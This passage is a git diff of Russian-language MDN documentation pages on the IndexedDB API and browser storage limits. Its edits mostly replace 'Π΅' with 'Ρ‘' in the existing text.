ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π΄ΠΎΠΌΠ΅Π½Π° ΠΌΠΎΠΆΠ½ΠΎ,Β Ρ‚ΠΎ Π²Π½Π΅ Π΅Π³ΠΎΒ - Π½Π΅Ρ‚.</p>
<p>IndexedDB - <a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">асинхронноС</a>Β API, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использовано в Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ контСкстов, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ <a href="/ru/docs/Web/API/Web_Workers_API/Using_web_workers" title="https://developer.mozilla.org/En/Using_web_workers">Web Workers</a>. РаньшС ΠΎΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Π»ΠΎΒ <a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΡƒΡŽ</a>Β Π²Π΅Ρ€ΡΠΈΡŽ, для использования Π² web workers, Π½ΠΎ это Π±Ρ‹Π»ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΎΒ ΠΈΠ· спСцификации Π² связи с нСдостатком интСрСса внутри web-сообщСства.</p>
-<p>БущСствуСт Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ с IndexedDB спСцификация, WebSQL Database, Π½ΠΎΒ W3C ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΠ»Π° Π΅Π΅ 18 ноября 2010. Π₯отя IndexedDB ΠΈ WebSQL ΠΎΠ±Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ для Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π». WebSQL Database - рСляционная систСма доступа ΠΊ Π±Π°Π·Π°ΠΌ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΠ³Π΄Π° IndexedDB - систСма индСксированной Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</p>
+<p>БущСствуСт Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ с IndexedDB спСцификация, WebSQL Database, Π½ΠΎΒ W3C ΠΈΡΠΊΠ»ΡŽΡ‡ΠΈΠ»Π° Π΅Ρ‘ 18 ноября 2010. Π₯отя IndexedDB ΠΈ WebSQL ΠΎΠ±Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ для Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰, ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π». WebSQL Database - рСляционная систСма доступа ΠΊ Π±Π°Π·Π°ΠΌ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΠ³Π΄Π° IndexedDB - систСма индСксированной Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹.</p>
<h2 id="concepts" name="concepts">Big concepts</h2>
diff --git a/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html b/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html
index 93f8f9634e..e81311aaae 100644
--- a/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html
+++ b/files/ru/web/api/indexeddb_api/browser_storage_limits_and_eviction_criteria/index.html
@@ -12,7 +12,7 @@ translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criter
<p class="summary">БущСствуСт Ρ†Π΅Π»Ρ‹ΠΉ ряд Π²Π΅Π±-Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ хранят Π΄Π°Π½Π½Ρ‹Π΅ Ρ‚ΠΎΠ³ΠΎ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠ³ΠΎ Ρ€ΠΎΠ΄Π° Π½Π° сторонС ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π° (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ Π½Π° локальном дискС).Β ΠŸΡ€ΠΎΡ†Π΅ΡΡ, с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Ρ€Π΅ΡˆΠ°Π΅Ρ‚, сколько мСста Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ для хранСния Π²Π΅Π±-Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ Ρ‡Ρ‚ΠΎ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ, ΠΊΠΎΠ³Π΄Π° этот ΠΏΡ€Π΅Π΄Π΅Π» Π±ΡƒΠ΄Π΅Ρ‚ достигнут, Π½Π΅ прост ΠΈ отличаСтся ΠΌΠ΅ΠΆΠ΄Ρƒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ.Β Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ описываСтся, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚, ΠΊΠ°ΠΊΠΎΠΉ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ слСдуСт ΠΎΡ‡ΠΈΡΡ‚ΠΈΡ‚ΡŒ ΠΈ ΠΊΠΎΠ³Π΄Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡΠ²ΠΎΠ±ΠΎΠ΄ΠΈΡ‚ΡŒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΠ΅ локальноС пространство для хранСния.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: привСдСнная Π½ΠΈΠΆΠ΅ информация Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ достаточно Ρ‚ΠΎΡ‡Π½ΠΎΠΉ для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π½ΠΎ спСцифика Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° вызываСтся Ρ‚Π°ΠΌ, Π³Π΄Π΅ ΠΎΠ½Π° извСстна. Opera ΠΈ Chrome Π΄ΠΎΠ»ΠΆΠ½Ρ‹ вСсти сСбя ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π²ΠΎ всСх случаях. Opera Mini (всС Π΅Ρ‰Π΅ основанная Π½Π° presto, сСрвСрная визуализация) Π½Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: привСдённая Π½ΠΈΠΆΠ΅ информация Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ достаточно Ρ‚ΠΎΡ‡Π½ΠΎΠΉ для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° соврСмСнных Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², Π½ΠΎ спСцифика Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° вызываСтся Ρ‚Π°ΠΌ, Π³Π΄Π΅ ΠΎΠ½Π° извСстна. Opera ΠΈ Chrome Π΄ΠΎΠ»ΠΆΠ½Ρ‹ вСсти сСбя ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ Π²ΠΎ всСх случаях. Opera Mini (всС Π΅Ρ‰Ρ‘ основанная Π½Π° presto, сСрвСрная визуализация) Π½Π΅ Ρ…Ρ€Π°Π½ΠΈΡ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π΅.</p>
</div>
<h2 id="КакиС_Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ_ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅_Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°_Π΄Π°Π½Π½Ρ‹Ρ…">КакиС Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹Π΅ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° Π΄Π°Π½Π½Ρ‹Ρ…?</h2>
@@ -27,11 +27,11 @@ translation_of: Web/API/IndexedDB_API/Browser_storage_limits_and_eviction_criter
</ul>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ Firefox Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ скоро Π½Π°Ρ‡Π½Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ ΠΆΠ΅ инструмСнты управлСния Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈ Π² этом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’ Firefox Π²Π΅Π±-Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ скоро Π½Π°Ρ‡Π½Ρ‘Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‚Π΅ ΠΆΠ΅ инструмСнты управлСния Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΈ Π² этом Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ поддСрТиваСтся. Π”Π°Π½Π½Ρ‹Π΅ локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ cookie всС Π΅Ρ‰Π΅ хранятся, Π½ΠΎ ΠΎΠ½ΠΈ эфСмСрны β€” Π΄Π°Π½Π½Ρ‹Π΅ ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚Π΅ послСднСС ΠΎΠΊΠ½ΠΎ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ Π΄Π°Π½Π½Ρ‹Ρ… Π½Π΅ поддСрТиваСтся. Π”Π°Π½Π½Ρ‹Π΅ локального Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π° ΠΈ Ρ„Π°ΠΉΠ»Ρ‹ cookie всС Π΅Ρ‰Ρ‘ хранятся, Π½ΠΎ ΠΎΠ½ΠΈ эфСмСрны β€” Π΄Π°Π½Π½Ρ‹Π΅ ΡƒΠ΄Π°Π»ΡΡŽΡ‚ΡΡ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ Π·Π°ΠΊΡ€Ρ‹Π²Π°Π΅Ρ‚Π΅ послСднСС ΠΎΠΊΠ½ΠΎ ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½ΠΎΠ³ΠΎ просмотра.</p>
</div>
<p>The "last access time" of origins is updated when any of these are activated/deactivated β€” origin eviction will delete data for all these quota clients.</p>
diff --git a/files/ru/web/api/indexeddb_api/index.html b/files/ru/web/api/indexeddb_api/index.html
index 5a951d7da7..c759014ee2 100644
--- a/files/ru/web/api/indexeddb_api/index.html
+++ b/files/ru/web/api/indexeddb_api/index.html
@@ -12,7 +12,7 @@ translation_of: Web/API/IndexedDB_API
---
<div>{{DefaultAPISidebar("IndexedDB")}}</div>
-<p>IndexedDB β€”Β Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅Β API для клиСнтского Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°Β Π±ΠΎΠ»ΡŒΡˆΠΎΠ³ΠΎ объСма структурированных Π΄Π°Π½Π½Ρ‹Ρ…, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ Ρ„Π°ΠΉΠ»Ρ‹/blobs.Β Π­Ρ‚ΠΈ API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β ΠΈΠ½Π΄Π΅ΠΊΡΡ‹ для обСспСчСния высоко-ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ поиска Π΄Π°Π½Π½Ρ‹Ρ…. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a>Β  ΠΏΠΎΠ»Π΅Π·Π΅Π½ для хранСния нСбольшого количСства Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ½ ΠΌΠ΅Π½Π΅Π΅ Π²Ρ‹Π³ΠΎΠ΄Π΅Π½ для большого числа структурированных Π΄Π°Π½Π½Ρ‹Ρ…. IndexedDB прСдоставляСт Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ основная страница на MDN, ΠΏΠΎΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π°ΡΒ IndexedDB β€” здСсь ΠΌΡ‹ прСдоставляСм ссылки ΠΊ ΠΏΠΎΠ»Π½ΠΎΠΌΡƒ списку API ΠΈ руководствам ΠΏΠΎ использованию, Π΄Π΅Ρ‚Π°Π»ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ объяснСния ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ.</p>
+<p>IndexedDB β€”Β Π½ΠΈΠ·ΠΊΠΎΡƒΡ€ΠΎΠ²Π½Π΅Π²ΠΎΠ΅Β API для клиСнтского Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°Β Π±ΠΎΠ»ΡŒΡˆΠΎΠ³ΠΎ ΠΎΠ±ΡŠΡ‘ΠΌΠ° структурированных Π΄Π°Π½Π½Ρ‹Ρ…, Π²ΠΊΠ»ΡŽΡ‡Π°ΡΒ Ρ„Π°ΠΉΠ»Ρ‹/blobs.Β Π­Ρ‚ΠΈ API ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚Β ΠΈΠ½Π΄Π΅ΠΊΡΡ‹ для обСспСчСния высоко-ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ поиска Π΄Π°Π½Π½Ρ‹Ρ…. Если <a href="/en-US/docs/DOM/Storage">DOM Storage</a>Β  ΠΏΠΎΠ»Π΅Π·Π΅Π½ для хранСния нСбольшого количСства Π΄Π°Π½Π½Ρ‹Ρ…, ΠΎΠ½ ΠΌΠ΅Π½Π΅Π΅ Π²Ρ‹Π³ΠΎΠ΄Π΅Π½ для большого числа структурированных Π΄Π°Π½Π½Ρ‹Ρ…. IndexedDB прСдоставляСт Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅. Π­Ρ‚ΠΎ основная страница на MDN, ΠΏΠΎΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰Π°ΡΒ IndexedDB β€” здСсь ΠΌΡ‹ прСдоставляСм ссылки ΠΊ ΠΏΠΎΠ»Π½ΠΎΠΌΡƒ списку API ΠΈ руководствам ΠΏΠΎ использованию, Π΄Π΅Ρ‚Π°Π»ΠΈ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ ΠΈ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ объяснСния ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Ρ… ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΉ.</p>
<p>{{AvailableInWorkers}}</p>
@@ -22,7 +22,7 @@ translation_of: Web/API/IndexedDB_API
<h2 id="ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅_ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ_ΠΈ_использованиС">ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈ ΠΈ  использованиС</h2>
-<p>IndexedDB транзакционная систСма Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠ°ΠΊ SQL-основанная RDBMS. Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ RDBMS, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ с фиксированными ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ, IndexedDB β€” JavaScript-основанная ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ориСнтированная Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ…. IndexedDB позволяСт ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ проиндСксированы с <strong>ΠΊΠ»ΡŽΡ‡ΠΎΠΌ</strong>; любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉΒ <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠΌ клонирования</a>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранСн. НСобходимо ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ соСдинСниС с Π½Π΅ΠΉ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅Β Π·Π° нСсколько <strong>Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ</strong>.</p>
+<p>IndexedDB транзакционная систСма Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠ°ΠΊ SQL-основанная RDBMS. Однако, Π² ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ RDBMS, которая ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ с фиксированными ΠΊΠΎΠ»ΠΎΠ½ΠΊΠ°ΠΌΠΈ, IndexedDB β€” JavaScript-основанная ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π½ΠΎ-ориСнтированная Π±Π°Π·Π° Π΄Π°Π½Π½Ρ‹Ρ…. IndexedDB позволяСт ΡΠΎΡ…Ρ€Π°Π½ΡΡ‚ΡŒ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ‹Π»ΠΈ проиндСксированы с <strong>ΠΊΠ»ΡŽΡ‡ΠΎΠΌ</strong>; любой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉΒ <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">структурированным Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌΠΎΠΌ клонирования</a>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ сохранён. НСобходимо ΠΎΠΏΠΈΡΠ°Ρ‚ΡŒ схСму Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ…, ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ соСдинСниС с Π½Π΅ΠΉ ΠΈ Π·Π°Ρ‚Π΅ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅Β Π·Π° нСсколько <strong>Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ</strong>.</p>
<ul>
<li>Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ большС ΠΎΒ <a href="/en-US/docs/Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB">ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠΈΒ IndexedDB</a>.</li>
@@ -63,7 +63,7 @@ translation_of: Web/API/IndexedDB_API
<dl>
<dt>{{domxref("IDBTransaction")}}</dt>
- <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΡŽ. Π’Ρ‹ создаСтС Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΡŽ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ дСйствия (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊ ΠΊΠ°ΠΊΠΈΠΌ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ) ΠΈ опрСдСляСтС Ρ‚ΠΈΠΏ доступа (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅/запись), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½.</dd>
+ <dd>ΠŸΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΠ΅Ρ‚ Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΡŽ. Π’Ρ‹ создаётС Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΡŽ Π² Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ…, ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ дСйствия (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊ ΠΊΠ°ΠΊΠΈΠΌ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ) ΠΈ опрСдСляСтС Ρ‚ΠΈΠΏ доступа (Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Ρ‡Ρ‚Π΅Π½ΠΈΠ΅/запись), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Π°ΠΌ Π½ΡƒΠΆΠ΅Π½.</dd>
<dt>{{domxref("IDBRequest")}}</dt>
<dd>Generic interface that handles database requests and provides access to results.</dd>
<dt>{{domxref("IDBObjectStore")}}</dt>
@@ -75,9 +75,9 @@ translation_of: Web/API/IndexedDB_API
<dt>{{domxref("IDBCursorWithValue")}}</dt>
<dd>Π˜Ρ‚Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΠΎ Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰Π°ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ индСксам ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ курсора.</dd>
<dt>{{domxref("IDBKeyRange")}}</dt>
- <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ ΠΊΠ»ΡŽΡ‡Π΅ΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ для извлСчСния Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ· Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½Π΅.</dd>
